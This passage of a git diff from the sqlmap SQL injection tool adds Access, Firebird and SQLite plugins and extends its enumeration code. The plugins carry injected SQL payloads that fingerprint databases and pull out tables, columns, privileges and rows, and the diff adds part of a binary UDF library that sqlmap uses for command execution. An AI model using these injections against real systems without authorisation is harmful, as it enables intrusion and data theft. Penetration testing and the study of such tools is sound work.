posValue asciiTbl = asciiTbl[position:] diff --git a/plugins/dbms/access.py b/plugins/dbms/access.py new file mode 100644 index 000000000..14ac6ab3a --- /dev/null +++ b/plugins/dbms/access.py @@ -0,0 +1,287 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setDbms +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ACCESS_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous +from plugins.generic.takeover import Takeover + + +class AccessMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Access methods + """ + + def __init__(self): + self.excludeDbsList = ACCESS_SYSTEM_DBS + + Enumeration.__init__(self, "Microsoft Access") + Filesystem.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(AccessMap.unescape) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "&" + + expression = expression.replace(old, unescaped) + else: + unescaped = "".join("CHR(%d)&" % ord(c) for c in expression) + if unescaped[-1] == "&": + unescaped = unescaped[:-1] + + expression = unescaped + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("CHR(").rstrip(")") + oldUpper = oldUpper.split("&") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped).replace("'&'", "") + + return expression + + def __sandBoxCheck(self): + # Reference: http://milw0rm.com/papers/198 + retVal = None + table = None + if kb.dbmsVersion and len(kb.dbmsVersion) > 0: + if kb.dbmsVersion[0] in ("97", "2000"): + table = "MSysAccessObjects" + elif kb.dbmsVersion[0] in ("2002-2003", "2007"): + table = "MSysAccessStorage" + if table: + query = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + retVal = "not sandboxed" if result else "sandboxed" + + return retVal + + def __sysTablesCheck(self): + infoMsg = "executing system table(s) existance fingerprint" + logger.info(infoMsg) + + # Microsoft Access table reference updated on 01/2010 + sysTables = { + "97": ("MSysModules2", "MSysAccessObjects"), + "2000" : ("!MSysModules2", "MSysAccessObjects"), + "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), + "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") + } + # MSysAccessXML is not a reliable system table because it doesn't always exist + # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") + + for version, tables in sysTables.items(): + exist = True + for table in tables: + negate = False + if table[0] == '!': + negate = True + table = table[1:] + randInt = randomInt() + query = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + if negate: + result = not result + exist &= result + if not exist: + break + if exist: + return version + + return None + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "Microsoft Access" + return value + + actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck()) + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] + + if re.search("-log$", kb.data.banner): + banVer += ", logging enabled" + + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if conf.dbms in ACCESS_ALIASES: + setDbms("Microsoft Access") + if not conf.extensiveFp: + return True + + logMsg = "testing Microsoft Access" + logger.info(logMsg) + + payload = agent.fullPayload(" AND VAL(CVAR(1))=1") + result = Request.queryPage(payload) + + if result: + logMsg = "confirming Microsoft Access" + logger.info(logMsg) + + payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not Microsoft Access" + logger.warn(warnMsg) + return False + + setDbms("Microsoft Access") + + if not conf.extensiveFp: + return True + + kb.dbmsVersion = [self.__sysTablesCheck()] + + return True + else: + warnMsg = "the back-end DMBS is not Microsoft Access" + logger.warn(warnMsg) + + return False + + def getPasswordHashes(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def readFile(self, rFile): + errMsg = "on Microsoft Access it is not possible to read files" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "on Microsoft Access it is not possible to write files" + raise sqlmapUnsupportedFeatureException, errMsg + + def osCmd(self): + errMsg = "on Microsoft Access it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "on Microsoft Access it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "on Microsoft Access it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "on Microsoft Access it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def getBanner(self): + errMsg = "on Microsoft Access it is not possible to get a banner" + raise sqlmapUnsupportedFeatureException, errMsg \ No newline at end of file diff --git a/plugins/dbms/firebird.py b/plugins/dbms/firebird.py new file mode 100644 index 000000000..9c1da9648 --- /dev/null +++ b/plugins/dbms/firebird.py @@ -0,0 +1,279 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt, randomRange +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setDbms +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FIREBIRD_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous +from plugins.generic.takeover import Takeover + + +class FirebirdMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Firebird methods + """ + + def __init__(self): + self.excludeDbsList = FIREBIRD_SYSTEM_DBS + + Enumeration.__init__(self, "Firebird") + Filesystem.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(FirebirdMap.unescape) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "ASCII_CHAR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + expression = expression.replace(old, unescaped) + else: + unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression) + if unescaped[-1] == "||": + unescaped = unescaped[:-1] + + expression = unescaped + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("ASCII_CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped).replace("'||'", "") + + return expression + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "Firebird" + return value + + actVer = formatDBMSfp() + " (%s)" % (self.__dialectCheck()) + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] + + if re.search("-log$", kb.data.banner): + banVer += ", logging enabled" + + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def __sysTablesCheck(self): + retVal = None + table = ( + ("1.0", [" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]), + ("1.5", [" AND NULLIF(%d,%d) IS NULL", " AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]), + ("2.0", [" AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", " AND BIT_LENGTH(%d)>0", " AND CHAR_LENGTH(%d)>0"]), + ("2.1", [" AND BIN_XOR(%d,%d)=0", " AND PI()>0.%d", " AND RAND()<1.%d", " AND FLOOR(1.%d)>=0"]) + ) + + for i in xrange(len(table)): + version, checks = table[i] + failed = False + check = checks[randomRange(0,len(checks)-1)].replace("%d", str(randomRange(1,100))) + payload = agent.fullPayload(check) + result = Request.queryPage(payload) + if result: + retVal = version + else: + failed = True + break + if failed: + break + + return retVal + + def __dialectCheck(self): + retVal = None + if kb.dbms: + payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") + result = Request.queryPage(payload) + retVal = "dialect 3" if result else "dialect 1" + return retVal + + def checkDbms(self): + if conf.dbms in FIREBIRD_ALIASES: + setDbms("Firebird") + + self.getBanner() + + if not conf.extensiveFp: + return True + + logMsg = "testing Firebird" + logger.info(logMsg) + + randInt = randomInt() + + payload = agent.fullPayload(" AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) + result = Request.queryPage(payload) + + if result: + logMsg = "confirming Firebird" + logger.info(logMsg) + + payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not Firebird" + logger.warn(warnMsg) + + return False + + setDbms("Firebird") + + self.getBanner() + + if not conf.extensiveFp: + return True + + kb.dbmsVersion = [self.__sysTablesCheck()] + + return True + else: + warnMsg = "the back-end DMBS is not Firebird" + logger.warn(warnMsg) + + return False + + def getDbs(self): + warnMsg = "on Firebird it is not possible to enumerate databases" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Firebird it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def readFile(self, rFile): + errMsg = "on Firebird it is not possible to read files" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "on Firebird it is not possible to write files" + raise sqlmapUnsupportedFeatureException, errMsg + + def osCmd(self): + errMsg = "on Firebird it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "on Firebird it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "on Firebird it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "on Firebird it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def forceDbmsEnum(self): + conf.db = "Firebird" \ No newline at end of file diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 16ab89776..2c9f2e4da 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -540,10 +540,10 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if kb.os == "Windows": - self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" + self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll" self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" + self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so" self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index 68f692ebe..0e87425b4 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -412,10 +412,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove raise sqlmapUnsupportedFeatureException, errMsg if kb.os == "Windows": - self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer + self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer + self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/sqlite.py b/plugins/dbms/sqlite.py new file mode 100644 index 000000000..19d3573d3 --- /dev/null +++ b/plugins/dbms/sqlite.py @@ -0,0 +1,294 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import re + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setDbms +from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import SQLITE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.misc import Miscellaneous +from plugins.generic.takeover import Takeover + + +class SQLiteMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines SQLite methods + """ + + def __init__(self): + self.excludeDbsList = SQLITE_SYSTEM_DBS + + Enumeration.__init__(self, "SQLite") + Filesystem.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(SQLiteMap.unescape) + + @staticmethod + def unescape(expression, quote=True): + # The following is not supported on SQLite 2 + return expression + + if quote: + expression = expression.replace("'", "''") + while True: + index = expression.find("''") + if index == -1: + break + + firstIndex = index + 2 + index = expression[firstIndex:].find("''") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression.replace("''", "'") + + lastIndex = firstIndex + index + old = "''%s''" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "X'%x'" % ord(expression[i]) + if i < lastIndex - 1: + unescaped += "||" + + #unescaped += ")" + expression = expression.replace(old, unescaped) + expression = expression.replace("''", "'") + else: + expression = "||".join("X'%x" % ord(c) for c in expression) + + return expression + + @staticmethod + def escape(expression): + # Example on SQLite 3, not supported on SQLite 2: + # select X'48'||X'656c6c6f20576f726c6400'; -- Hello World + while True: + index = expression.find("X'") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex+2:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + 3 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("X'", "").replace("'", "") + + for i in xrange(len(oldUpper)/2): + char = oldUpper[i*2:i*2+2] + escaped = "'%s'" % chr(int(char, 16)) + expression = expression.replace(old, escaped) + + return expression + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += "SQLite" + return value + + actVer = formatDBMSfp() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] + banVer = formatDBMSfp([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * http://www.sqlite.org/lang_corefunc.html + * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions + """ + + if conf.dbms in SQLITE_ALIASES: + setDbms("SQLite") + + self.getBanner() + + if not conf.extensiveFp: + return True + + logMsg = "testing SQLite" + logger.info(logMsg) + + payload = agent.fullPayload(" AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") + result = Request.queryPage(payload) + + if result: + logMsg = "confirming SQLite" + logger.info(logMsg) + + payload = agent.fullPayload(" AND SQLITE_VERSION()=SQLITE_VERSION()") + result = Request.queryPage(payload) + + if not result: + warnMsg = "the back-end DMBS is not SQLite" + logger.warn(warnMsg) + + return False + + setDbms("SQLite") + + self.getBanner() + + if not conf.extensiveFp: + return True + + version = inject.getValue("SUBSTR((SQLITE_VERSION()), 1, 1)", unpack=False, charsetType=2) + kb.dbmsVersion = [ version ] + + return True + else: + warnMsg = "the back-end DMBS is not SQLite" + logger.warn(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = "SQLite" + + def getCurrentUser(self): + warnMsg = "on SQLite it is not possible to enumerate the current user" + logger.warn(warnMsg) + + def getCurrentDb(self): + warnMsg = "on SQLite it is not possible to enumerate the current database" + logger.warn(warnMsg) + + def isDba(self): + warnMsg = "on SQLite the current user has all privileges" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on SQLite it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on SQLite it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self): + warnMsg = "on SQLite it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on SQLite it is not possible to enumerate databases" + logger.warn(warnMsg) + + return [] + + def getColumns(self, onlyColNames=False): + errMsg = "on SQLite it is not possible to enumerate database " + errMsg += "table columns" + + if conf.dumpTable or conf.dumpAll: + errMsg += ", provide them with -C option" + raise sqlmapUnsupportedFeatureException, errMsg + + logger.warn(errMsg) + + def dumpColumn(self): + errMsg = "on SQLite you must specify the table and columns to dump" + raise sqlmapUnsupportedFeatureException, errMsg + + def dumpAll(self): + errMsg = "on SQLite you must specify the table and columns to dump" + raise sqlmapUnsupportedFeatureException, errMsg + + def readFile(self, rFile): + errMsg = "on SQLite it is not possible to read files" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "on SQLite it is not possible to write files" + raise sqlmapUnsupportedFeatureException, errMsg + + def osCmd(self): + errMsg = "on SQLite it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "on SQLite it is not possible to execute commands" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "on SQLite it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "on SQLite it is not possible to establish an " + errMsg += "out-of-band connection" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index fead5f8f0..348d9ab16 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -68,9 +68,6 @@ class Enumeration: temp.inference = queries[dbms].inference - def forceDbmsEnum(self): - pass - def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return @@ -405,6 +402,15 @@ class Enumeration: ( 2, "super" ), ( 3, "catupd" ), ) + + firebirdPrivs = { + "S": "SELECT", + "I": "INSERT", + "U": "UPDATE", + "D": "DELETE", + "R": "REFERENCES", + "E": "EXECUTE" + } if kb.unionPosition: if kb.dbms == "MySQL" and not kb.data.has_information_schema: @@ -564,6 +570,8 @@ class Enumeration: query = rootQuery["blind"]["query2"] % (queryUser, index) elif kb.dbms == "MySQL" and kb.data.has_information_schema: query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["query"] % (index, queryUser) else: query = rootQuery["blind"]["query"] % (queryUser, index) privilege = inject.getValue(query, inband=False) @@ -602,6 +610,8 @@ class Enumeration: privileges.add(mysqlPriv) i += 1 + elif kb.dbms == "Firebird": + privileges.add(firebirdPrivs[privilege.strip()]) if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) @@ -701,7 +711,7 @@ class Enumeration: query = rootQuery["inband"]["query"] condition = rootQuery["inband"]["condition"] - if conf.db: + if conf.db and kb.dbms != "SQLite": if "," in conf.db: dbs = conf.db.split(",") query += " WHERE " @@ -717,6 +727,17 @@ class Enumeration: value = inject.getValue(query, blind=False) if value: + if kb.dbms == "SQLite": + if isinstance(value, str): + value = [[ "SQLite", value ]] + elif isinstance(value, (list, tuple, set)): + newValue = [] + + for v in value: + newValue.append([ "SQLite", v]) + + value = newValue + for db, table in value: if not kb.data.cachedTables.has_key(db): kb.data.cachedTables[db] = [table] @@ -746,7 +767,10 @@ class Enumeration: infoMsg += "database '%s'" % db logger.info(infoMsg) - query = rootQuery["blind"]["count"] % db + if kb.dbms in ("SQLite", "Firebird"): + query = rootQuery["blind"]["count"] + else: + query = rootQuery["blind"]["count"] % db count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": @@ -755,7 +779,7 @@ class Enumeration: logger.warn(warnMsg) continue - tables = [] + tables = [] if kb.dbms in ( "Microsoft SQL Server", "Oracle" ): plusOne = True @@ -764,7 +788,10 @@ class Enumeration: indexRange = getRange(count, plusOne=plusOne) for index in indexRange: - query = rootQuery["blind"]["query"] % (db, index) + if kb.dbms in ("SQLite", "Firebird"): + query = rootQuery["blind"]["query"] % index + else: + query = rootQuery["blind"]["query"] % (db, index) table = inject.getValue(query, inband=False) tables.append(table) @@ -803,6 +830,23 @@ class Enumeration: logger.warn(warnMsg) conf.db = self.getCurrentDb() + + firebirdTypes = { + "261":"BLOB", + "14":"CHAR", + "40":"CSTRING", + "11":"D_FLOAT", + "27":"DOUBLE", + "10":"FLOAT", + "16":"INT64", + "8":"INTEGER", + "9":"QUAD", + "7":"SMALLINT", + "12":"DATE", + "13":"TIME", + "35":"TIMESTAMP", + "37":"VARCHAR" + } rootQuery = queries[kb.dbms].columns condition = rootQuery["blind"]["condition"] @@ -863,6 +907,9 @@ class Enumeration: elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) query += condQuery.replace("[DB]", conf.db) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["count"] % (conf.tbl) + query += condQuery count = inject.getValue(query, inband=False, expected="int", charsetType=2) @@ -893,6 +940,10 @@ class Enumeration: conf.tbl) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["query"] % (conf.tbl) + query += condQuery + field = None query = agent.limitQuery(index, query, field) column = inject.getValue(query, inband=False) @@ -906,8 +957,14 @@ class Enumeration: query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, conf.tbl) + elif kb.dbms == "Firebird": + query = rootQuery["blind"]["query2"] % (conf.tbl, column) colType = inject.getValue(query, inband=False) + + if kb.dbms == "Firebird": + colType = firebirdTypes[colType] if colType in firebirdTypes else colType + columns[column] = colType else: columns[column] = None @@ -1278,6 +1335,8 @@ class Enumeration: if kb.unionPosition: if kb.dbms == "Oracle": query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) + elif kb.dbms == "SQLite": + query = rootQuery["inband"]["query"] % (colString, conf.tbl) else: query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl) entries = inject.getValue(query, blind=False) @@ -1321,6 +1380,8 @@ class Enumeration: if kb.dbms == "Oracle": query = rootQuery["blind"]["count"] % conf.tbl.upper() + elif kb.dbms == "SQLite": + query = rootQuery["blind"]["count"] % conf.tbl else: query = rootQuery["blind"]["count"] % (conf.db, conf.tbl) count = inject.getValue(query, inband=False, expected="int", charsetType=2) @@ -1336,8 +1397,8 @@ class Enumeration: return None - lengths = {} - entries = {} + lengths = {} + entries = {} if kb.dbms == "Oracle": plusOne = True @@ -1365,6 +1426,8 @@ class Enumeration: conf.tbl, column, index, column, conf.db, conf.tbl) + elif kb.dbms == "SQLite": + query = rootQuery["blind"]["query"] % (column, conf.tbl, index) value = inject.getValue(query, inband=False) diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 6bf680765..ea8d463d5 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -50,3 +50,6 @@ class Fingerprint: errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg + + def forceDbmsEnum(self): + pass diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so b/udf/mysql/linux/32/lib_mysqludf_sys.so new file mode 100644 index 0000000000000000000000000000000000000000..151e622c26a7cdd10f3f3b0d251a7bd1b50eaadc GIT binary patch literal 5696 zcmeHLeQZ(=YezXq1atzYN_{D4CFB+kfhSUL13vPh+6Hn9So(#~d<$3!v;*%0 zejR8*nHl+w<6}SL6 z8(0Or9efQ6uK7-&QKQ=!&Vw9fLX{_nX%KVmcS&{mUot0m=ac%1qrqcqetPcE(d3!a3xoG8EpM86{YBqfvMbGb`2DdQWf@6o@=ehcKDBKuP4pG8AgOZ&s%A4fh9NPZRQk|O)1&<7EJh18z} 